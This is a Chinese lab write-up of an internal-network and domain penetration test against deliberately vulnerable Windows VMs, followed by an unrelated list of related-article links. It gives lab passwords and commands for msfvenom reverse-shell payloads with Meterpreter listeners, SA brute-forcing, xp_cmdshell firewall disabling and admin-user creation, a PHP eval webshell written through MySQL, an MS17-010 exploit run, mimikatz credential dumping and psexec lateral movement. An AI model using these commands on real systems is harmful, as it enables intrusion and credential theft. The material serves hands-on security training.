0x01 实验拓扑图及实验用IP

A组IP(实验用IP)

1号

账号:Administrator

密码:Jack@!@#

ip:192.168.141.111

2号

账号:ADMIN-PC/ADMIN

密码:123456hhhh.

222.18.158.244:7771

ip:192.168.141.138

3号

域名:hiro.com

管理员

账号:hiroadministrator

密码:hb123456,./$

域用户

账号:hiro.com/user1

密码:hb123456,./$

ip:192.168.141.100

Tips

里面设了静态ip 要改一下

已将加入过程总结

4号

账号:administrator

密码:Win@2003

ip:192.168.141.114

5号

账号:Administrator

密码:Win@2008

ip:192.168.141.115

6号

账号:Administrator

密码:Edvison233!

ip:192.168.141.116


0x02 环境搭建步骤

本模块中的IP只是作为范例,与正式实验中所用IP不同

一号机

系统:Windows 10

IP : 192.168.199.101

对三号机192.168.199.103开放445端口

配置步骤:

  1. 在虚拟机上安装win10系统
  2. 在网络共享中心配置静态IP
  1. 对3号机开放445端口:
  2. 新建入站规则(选择自定义)

应用于所有程序:

设置端口:

指定只对3号机开放:


二号机

系统:Windows 7

IP : 192.168.199.102

配置步骤:

安装Windows7,设置固定IP


三号机

系统:Windows 2012

IP : 192.168.199.103

对192.168.199.104开放445端口

配置步骤:

Windows server 2012 搭建域环境

计算机名:WIN-MT3C3TD4RQD.1.org

所在域名或工作组名称:1.org

IP地址:192.168.199.103

操作系统:Windows Server 2012 R2

密码 hb,./123456

安装步骤

1) 指定AD角色服务器的IP地址(这里的IP地址根据企业实际情况分配,但一定要是固定IP)

2) 点击Server2012左下角的“服务器管理器”显示如下界面

3) 点击“添加角色和功能按钮”弹出如下界面

4) 点击“下一步”

5) 这里选择”基于角色或基于功能的安装”,然后点”下一步”

6) 服务器选择这里选择默认的,假如你需要针对其它主机安装AD角色,这里可以选择你需要的主机,点击”下一步”

7) 这里勾选“Active Directory域服务”,当勾选这个选项时,会弹出如下对话框,点“添加功能”就OK

8) 这样就正确选择了安装AD角色,点击”下一步”

9) 功能页面不需要做任何选择直接点“下一步”

10) 这里是介绍AD角色的功能及注意事项,点击“下一步”

11) 勾选”如果需要,自动重新启动目标服务器”,然后点击”安装”

12) 安装成功后我们点击“关闭”,但这还没有完全安装成功

13) 点击服务器右上角的“功能按钮”

14) 弹出继续配置AD的对话框

15) 点击”部署后配置”,在红框处填入相应的域名

16) 点击“下一步”,红色方框选择域功能级别,绿色方框选择相应的功能,DNS/GC/RODC,黄色方框输入目录服务还原密码 密码是 hb,./123456

17) 点击“下一步”后配置DNS,由于不需要委派DNS,所以这里不需要设置,直接点击”下一步”

18) 这一步配置Netbios名,若没有特殊需求默认的就可以,直接点”下一步”

19) 配置日志,数据库,sysvol路径,若没有特殊需求,默认就可以

20) 查看配置信息,若没有任何问题直接点”下一步”

21) 这个页面是检测是否满足条件,满足条件后就可以直接点”安装”

22) 等待机器安装配置项,可能需要重启

23) 重启后我们会看到AD角色已经安装完成

验证安装

  1. 直接打开CMD命令行,输入”Net query fsmo”,这时会显示五种角色都已经安装成功
  1. 若要进一步验证AD是否安装正确,可以使用DCDIAG /a命令行

设置端口开放:

打开电脑找到控制面板,点击控制面板进入控制面板页面,点击系统和安全选项

进入系统安全页面,点击防火墙选项

进入windows防火墙面板,点击高级设置选项

进入高级设置选项,点击右键新建规则

进入规则想到页面,选择端口,点击下一步

进入设置端口页面,设置需要开放的445端口,点击下一步

选择允许链接,点击下一步

配置文件项,点击下一步

输入名称和描述,点击完成


四号机

系统:Windows 2003

本机密码为空

IP : 192.168.199.104

对192.168.199.105开放445端口

留Ms17010漏洞

配置步骤:

静态ip配置

设置本机管理员密码为空

防火墙配置

攻击实例

攻击机: kail ip:192.168.246.128 (在本机验证时没有使用192.168.199.1xx的IP地址)

靶机: win 2003 ip:192.168.246.141

配置靶机只对攻击机开放445端口:

先启用防火墙:

然后编辑445端口

点击更改范围,再将攻击机的ip添加上去,这样就配好了。

配置ms17_010漏洞

因为win server 2003 在未打补丁时都有ms17_010漏洞,所以我直接展示利用过程。

利用msf进行攻击

获得shell


五号机

系统:Windows server 2008

IP : 192.168.199.105

对192.168.199.106开放80端口

安装PHP study ,MySQL弱口令

1、首先完成本机phpstudy及MySQL的安装

2、配置本机的静态IP为192.168.199.105

3、配置防火墙对六号机开放80端口

在命令行中使用wf.msc打开防火墙高级设置

在入站规则里添加新的规则,设置端口80

在新添加的规则右键属性

在作用域里添加本地IP地址为192.168.199.106,即六号机的IP


六号机

系统:Windows server 2008

IP : 192.168.199.106

对192.168.199.102开放1433端口

Sa账号为弱口令

本机是六号机

操作系统是 windows server 2008

Ip是 192.168.199.106

要求是配置一个sqlserver sa为弱口令的机器

对2号开放1433端口

首先,配置sqlserver

下载SQL Server安装程序

双击运行下载的SQL Server安装程序SQLEXPRWT_x64_CHS.exe。

打开SQLServer安装中心,在右边选择“全新安装或向现有安装添加功能”。

SQL Server开始安装准备。一直下一步。

在“数据库引擎配置”中,选择“混合模式”,并为“SQLServer系统管理员账户(sa)”指定密码,这里设置为弱口令

一直下一步 直到安装成功。

然后设置对二号机开放1433端口

第1步选择“打开或者关闭windows防火墙”把防火墙打开,然后选择“高级设置”,选择“创建规则”来指定端口。

现在“创建规则”,选择“端口”下--“TCP”和“特定本地端口”然后填写“1433”--下一步--下一步--为这个端口添加一个名称“1433”,然后确定就可以了。/3、在“入站规则”里选择刚才创建的规则,名称是“1433”,然后按照下图顺序就可以了。

配置成功


以下为内网渗透测试过程

0x03 使用kali拿下二号机

通过MobaXterm连接Kali Linux(ip:192.168.141.143),用户名:root,密码:toor

使用下述命令,执行,生成木马文件:

msf -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 LHOST=192.168.141.143 LPORT=4444 -f exe > ./test.exe

生成了test.exe之后,然后在kali里,设定端口监听,等待目标上线

msfconsole -x "use multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp;show options; set LHOST 192.168.141.143;set LPORT 4444; run"

在2号机上右击,以管理员权限执行。kali就可以接收到反弹回来的shell。对shell进行操作。

在kali里接收到了shell,可在meterpreter中管理shell,开启3389

在kali里接收到了shell,可在meterpreter中管理shell,开启3389

run post/windows/manage/enable_rdp

添加用户

run post/windows/manage/enable_rdp username="Waldo1111test" password="123456hhhh."

然后在服务器主机中,用新添加的账号,远程桌面连接2号机,至此完成了对2号机的控制

2号机到6号机

使用nmap扫描发现192.168.141.116开了1433端口

nmap -p1433 --open 192.168.141.0/24

使用ms-sql-brute模块对6号机sa账户进行爆破,获得用户名为sa,密码为123456

nmap -p 1433 --script ms-sql-brute --script-args userdb=C:甥敳獲Waldo1111testDesktopame.txt,passdb=C:甥敳獲Waldo1111testDesktoppassword.txt 192.168.141.116

使用sqltools获取6号机数据库

用xp_cmdshell关闭防火墙限制

netsh firewall set opmode mode=disable

添加3389入站规则

netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow

创建管理员用户Waldo6TEST

net user Waldo6TEST 1234567hhhh. /addnet localgroup administrators Waldo6TEST /add

使用用户名Wado6TEST 密码1234567hhhh.成功登陆六号机

6号机到5号机

发现5号机开放80端口

输入://192.168.141.115/phpmyadmin/,弱口令 用户名root 密码root

尝试写入webshell

use mysql;CREATE TABLE `mysql`.`d0g3` (`sn00py` TEXT NOT NULL );INSERT INTO `mysql`.`d0g3` (`sn00py`)VALUES ('<?php @eval($_POST[c]);?>');SELECT sn00py FROM d0g3 INTO OUTFILE 'C:/pentest/phpstudy/WWW/shell.php';

Shell写到了:http://192.168.141.115/shell.php

使用菜刀连接

执行命令whoami,发现是administrator权限

加管理员用户

net user Waldo 1234567hhhh. /addnet localgroup administrators Waldo /add

打开5号机3389端口:

REG ADD HKLMSYSTEMCurrentControlSetControlTerminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

连接到远程桌面

5号机到4号机

在5号机上传ms17010攻击脚本,用kali攻击机生成一个payload

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.141.143 lport=6666 -f exe -o shell.exe

开启msf监听

msfconsole -quse exploit/multi/handlerset lhost 0.0.0.0set lport 6666exploit

在5号机中cmd中C:甥敳獲WaldoMS17-010-master

在5号机上,运行ms170101攻击脚本(脚本要自己下载)

python zzz_exploit.py 192.168.141.114

在kali里接收到了shell,可在meterpreter中管理shell,开启3389

run post/windows/manage/enable_rdp

添加用户

run post/windows/manage/enable_rdp username="Waldo1111test" password="123456hhhh."

在5号机远程登录4号机

4号机到3号机

在4号机中抓取hash

privilege::debugsekurlsa::logonpasswords

抓到域控管理员账号和密码:

在4号机上,使用以下命令建立IPC$连接

net use 192.168.141.100 "hb123456,./$" /user:"Administrator"

在4号机上,使用以下命令,将目标靶机的C盘映射到本地Z盘

net use z: 192.168.141.100c$

使用copy命令将先前生成的shell.exe拷贝至靶机C盘

copy shell.exe 192.168.141.100c$

在kali上开启监听(6666端口),使用psesec.exe.启动靶机上的shell.exe

p**ec.exe 192.168.141.100 -u administrator -p hb123456,./$ c:shell.exe

成功反弹shell上线:

在kali里接收到了shell,可在meterpreter中管理shell,开启3389

run post/windows/manage/enable_rdp

添加用户

run post/windows/manage/enable_rdp username="Waldo1111test" password="123456hhhh."

在4号机远程登录3号机

用户名:hiroAdministrator 密码:hb123456,./$

3号机到1号机

在3号机上,使用以下命令建立IPC$连接

net use 192.168.141.111 "hb123456,./$" /user:"Administrator"

在3号机上,使用以下命令,将目标靶机的C盘映射到本地Z盘

net use z: 192.168.141.111c$

使用copy命令将先前生成的shell.exe拷贝至靶机C盘

copy shell.exe 192.168.141.111c$

在kali上开启监听(6666端口),使用p**ec.exe.启动靶机上的shell.exe

p**ec.exe 192.168.141.111 -u hiroAdministrator -p hb123456,./$ c:shell.exe

成功获取shell

打开一号机3389

使用用户名:hiroAdministrator 密码: hb123456,./$登录

成功拿下一号机,实验成功!

转载自:https://bbs.ichunqiu.com/thread-49988-1-1.html

Windows10使用命令行打开3389_内网渗透(实验)之域渗透深入弹shell开3389拿域控相关推荐

  1. 使用命令行打开应用程序

    当桌面上已经有很多正在使用的窗口,想要打开新的应用程序,又不想将桌面上已存在的窗口最小化返回桌面,通过双击桌面上的应用程序快捷方式打开应用程序,这时候有没有什么快捷简便的应用程序打开方式呢? ☆☆可以 ...

  2. 前端第二章:1.HTML简介、Linux 命令行打开 .html 文件、常用标签(一)

    一.HTML 简介 1.HTML 是 超文本标记语言(Hypertext Markup Language) 2.负责 网页三要素 中的 结构 3.使用标签的形式 识别 网页中不同的组成部分 4.超文本 ...

  3. mysql怎么打开命令行_怎么在命令行打开mysql?

    在命令行打开mysql的方法:首先在cmd命令行中输入"net start mysql":然后输入"mysql -hlocalhost -uroot -p",回 ...

  4. 如何在命令行打开mysql

    在命令行打开mysql的方法:首先在cmd命令行中输入"net start mysql":然后输入"mysql -hlocalhost -uroot -p",回 ...

  5. 用命令行在局域网内斗地主_上课划水上班摸鱼_chenjie的博客

    上班无聊?上课无趣?本篇博客教你怎么使用命令行在局域网内跟你的朋友进行斗地主:当然,也可以单机.话不多说,咱们开始操作! 一.环境准备 由于本程序是用JAVA语言开发的,所以运行.jar文件需要安装J ...

  6. remapkey不能打开注册表_给文件夹增加右键菜单,点击即可用命令行打开到文件夹。...

    问题与需求: 很多时候,我们在命令行(cmd)中要进入一个目录,要先打开cmd,再cd到指定的目录,很复杂. 如果常常要进行这种操作,无疑是又麻烦又浪费时间. 今天教大家一个小妙招,给目录增加右键菜单 ...

  7. 怎么在命令行打开mysql?

    在命令行打开mysql的方法:首先在cmd命令行中输入"net start mysql":然后输入"mysql -hlocalhost -uroot -p",回 ...

  8. Linux 下从命令行打开pdf文件和html文件的命令

    Linux 下从命令行打开pdf文件和html文件的命令 [日期:2012-06-18] 来源:Linux社区 作者:hipercomer [字体:大 中 小] 如果你经常工作在Linux终端下,某个 ...

  9. Ubuntu 在终端下使用命令行打开pdf文件

    终端下使用命令行打开pdf文件 > evince  <文件名>& 使用evince命令在后台打开 使用鼠标打开感觉怪怪的

  10. win10中用命令行打开画图

    新安装了win10系统,画图不太好找.直接用命令行打开也快. 步骤一:win+r打开命令行,输入mspaint回车即可:

最新文章

  1. ubuntu安装mysql可视化工具MySQL-workbench及简单操作
  2. java mysql安装教_大学java教案之MySQL安装图解
  3. [YTU]_2489( C++结构体之统计最高最低分)
  4. c语言自增自减5运算符详解,巧用C语言中的自增自减运算符
  5. TCP 和 UDP 绑定同一端口通信的解释
  6. 一起谈.NET技术,抛砖引玉:我看微软.NET各子技术领域之应用前景
  7. 电商运营、美工必备导航类网站,有效提高工作效率
  8. git 常见问题的解决方案
  9. Java研发知识图谱
  10. 吴恩达机器学习:偏差与方差、欠拟合与过拟合
  11. ArcEngine中shp中先加入要素然后删除一部分要素后,放大图形后不显示的问题解决方法...
  12. dp - Google Code jam Qualification Round 2015 --- Problem B. Infinite House of Pancakes
  13. 在wordpress中使用 markdown:wp-markdown插件的使用方法
  14. docker镜像与容器操作流程
  15. 2017-2018-2 20179302 《网络攻防》第三周作业
  16. python抓取qq群消息,python 爬取qq群员信息
  17. Java调用WebService接口
  18. TLC5615模数转换锯齿波仿真实验(Arduino)
  19. python读取大文件md5校验性能优化比较
  20. pyecharts制作3d地图加柱状图

热门文章

  1. JAVA小鑫の日常系列故事(七)——小纸条
  2. 将PDF电子书转换成EPUB格式
  3. 99 Bottles Of Beer
  4. 二十年间的失败软件和系统
  5. VS 2019Xamarin开发Android App生成apk文件
  6. Banner图片轮播控件
  7. ROS学习笔记(三)—— 话题 topic详解
  8. python 飞机大战爆炸效果_Pygame飞机大战为什么飞机与敌机碰撞后不再有图片动态切换效果...
  9. ElementUI Collapse 折叠面板
  10. google浏览器无法更新_如何更新谷歌浏览器